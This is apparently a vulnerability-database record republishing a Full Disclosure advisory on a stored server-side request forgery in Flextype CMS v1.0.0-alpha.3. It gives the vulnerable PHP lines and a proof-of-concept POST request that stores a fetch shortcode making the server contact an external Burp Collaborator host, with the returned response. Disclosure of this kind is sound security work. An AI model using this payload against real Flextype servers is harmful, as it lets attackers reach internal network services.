GCVE-1988-2026-0014
Vulnerability from gna-1988 β Published: 2026-09-07 06:42 β Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery
(SSRF) vulnerability in its shortcode-processing functionality.
Attacker-controlled entry fields can be automatically processed by
Flextype's shortcode parser. The built-in fetch shortcode accepts an
attacker-controlled resource and passes the resulting value to the
server-side fetch() helper without sufficient destination restrictions.
An attacker capable of creating or modifying an entry can therefore persist
a fetch shortcode that causes Flextype to initiate an HTTP request from the
server when the entry is processed.
Testing confirmed that an attacker-controlled external destination was
contacted and that the destination's HTTP response was returned through the
processed entry. Subsequent normal retrieval of the stored entry caused the
server-side request to occur again.
Impact
An attacker can persist server-side HTTP requests that are executed from
the network context of the Flextype server.
Depending on network configuration, this may provide access to HTTP
services that are inaccessible from the attacker's network position,
including loopback and internal network resources.
Because the destination response is returned through the processed entry,
the vulnerability provides non-blind SSRF.
This vulnerability is distinct from SSRF through /api/v1/query because the
affected execution path uses stored entry content processed through
ShortcodesDirective and FetchShortcode, rather than direct expression
evaluation through the Query API.
DetailsAttacker-Controlled Fetch Resource
FetchShortcode.php obtains the resource from shortcode parameters:
// Get the resource parameter.
$resource = parsers()->shortcodes()->parse($params['resource']);
The resulting attacker-controlled resource is supplied to the server-side
fetch helper:
// Do fetch the data from the resource.
$result = fetch($resource, $options);
Proof of Concept
An entry containing an attacker-controlled fetch shortcode was created:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-ssrf-proof","data":{"title":"(fetch:'http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com')"}}
Flextype returned the destination's HTTP response:
{
"reasonPhrase": "OK",
"statusCode": 200,
"headers": {
"Server": [
"Burp Collaborator https://burpcollaborator.net/";
],
"X-Collaborator-Version": [
"4"
],
"Content-Type": [
"text/html"
],
"Content-Length": [
"55"
]
},
"body": "<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"
}
The entry was subsequently retrieved:
GET /api/v1/entries?token=lab-token&id=shortcode-ssrf-proof HTTP/1.1
Host: 127.0.0.1:18086
The resulting entry again contained the response obtained from the
attacker-controlled destination.
This demonstrates that the server-side request originates from stored
shortcode content and can be triggered during subsequent entry processing.
Root Cause
The vulnerability occurs because remotely controllable stored entry data is
processed as shortcode syntax and FetchShortcode permits the shortcode to
select a server-side network destination.
The resulting resource is passed directly to:
$result = fetch($resource, $options);
without sufficient restrictions preventing requests to attacker-controlled
or security-sensitive destinations.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery\n(SSRF) vulnerability in its shortcode-processing functionality.\n\nAttacker-controlled entry fields can be automatically processed by\nFlextype\u0027s shortcode parser. The built-in fetch shortcode accepts an\nattacker-controlled resource and passes the resulting value to the\nserver-side fetch() helper without sufficient destination restrictions.\n\nAn attacker capable of creating or modifying an entry can therefore persist\na fetch shortcode that causes Flextype to initiate an HTTP request from the\nserver when the entry is processed.\n\nTesting confirmed that an attacker-controlled external destination was\ncontacted and that the destination\u0027s HTTP response was returned through the\nprocessed entry. Subsequent normal retrieval of the stored entry caused the\nserver-side request to occur again.\nImpact\n\nAn attacker can persist server-side HTTP requests that are executed from\nthe network context of the Flextype server.\n\nDepending on network configuration, this may provide access to HTTP\nservices that are inaccessible from the attacker\u0027s network position,\nincluding loopback and internal network resources.\n\nBecause the destination response is returned through the processed entry,\nthe vulnerability provides non-blind SSRF.\n\nThis vulnerability is distinct from SSRF through /api/v1/query because the\naffected execution path uses stored entry content processed through\nShortcodesDirective and FetchShortcode, rather than direct expression\nevaluation through the Query API.\nDetailsAttacker-Controlled Fetch Resource\n\nFetchShortcode.php obtains the resource from shortcode parameters:\n\n// Get the resource parameter.\n$resource = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027resource\u0027]);\n\nThe resulting attacker-controlled resource is supplied to the server-side\nfetch helper:\n\n// Do fetch the data from the resource.\n$result = fetch($resource, $options);\n\nProof of Concept\n\nAn entry containing an attacker-controlled fetch shortcode was created:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-ssrf-proof\",\"data\":{\"title\":\"(fetch:\u0027http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos;)\"}}\n\nFlextype returned the destination\u0027s HTTP response:\n\n{\n \"reasonPhrase\": \"OK\",\n \"statusCode\": 200,\n \"headers\": {\n \"Server\": [\n \"Burp Collaborator https://burpcollaborator.net/\";\n ],\n \"X-Collaborator-Version\": [\n \"4\"\n ],\n \"Content-Type\": [\n \"text/html\"\n ],\n \"Content-Length\": [\n \"55\"\n ]\n },\n \"body\": \"\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"\n}\n\nThe entry was subsequently retrieved:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-ssrf-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe resulting entry again contained the response obtained from the\nattacker-controlled destination.\n\nThis demonstrates that the server-side request originates from stored\nshortcode content and can be triggered during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because remotely controllable stored entry data is\nprocessed as shortcode syntax and FetchShortcode permits the shortcode to\nselect a server-side network destination.\n\nThe resulting resource is passed directly to:\n\n$result = fetch($resource, $options);\n\nwithout sufficient restrictions preventing requests to attacker-controlled\nor security-sensitive destinations.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/26"
},
{
"url": "http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/26"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0014",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26",
"automated": true,
"contentSha256": "ccf71ea3f6c1e7df21bd9dc161b5f43050d8c82c18c42166541c10bb8904b66b",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:57:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0014"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦